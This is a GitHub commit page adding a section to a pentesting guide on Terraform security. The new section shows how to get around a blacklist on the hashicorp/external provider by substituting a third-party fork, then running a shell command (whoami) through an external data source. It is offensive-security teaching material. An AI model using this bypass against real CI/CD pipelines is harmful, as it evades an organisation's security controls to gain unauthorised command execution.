Skip to content

Commit

Permalink
Merge pull request #48 from ahboon/patch-1
Browse files Browse the repository at this point in the history
Update terraform-security.md
  • Loading branch information
carlospolop authored Apr 18, 2024
2 parents 85da92b + 9c74689 commit 70d4182
Showing 1 changed file with 22 additions and 0 deletions.
22 changes: 22 additions & 0 deletions pentesting-ci-cd/terraform-security.md
Original file line number Diff line number Diff line change
Expand Up @@ -192,6 +192,28 @@ It's also possible to [create a custom provider](https://developer.hashicorp.com
]
},
```
## Replace blacklisted provider

In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well.

```terraform
terraform {
required_providers {
external = {
source = "nazarewk/external"
version = "3.0.0"
}
}
}
```

Then you can use `external` as per normal.

```terraform
data "external" "example" {
program = ["sh", "-c", "whoami"]
}
```

## Audit Tools

Expand Down

0 comments on commit 70d4182

Please sign in to comment.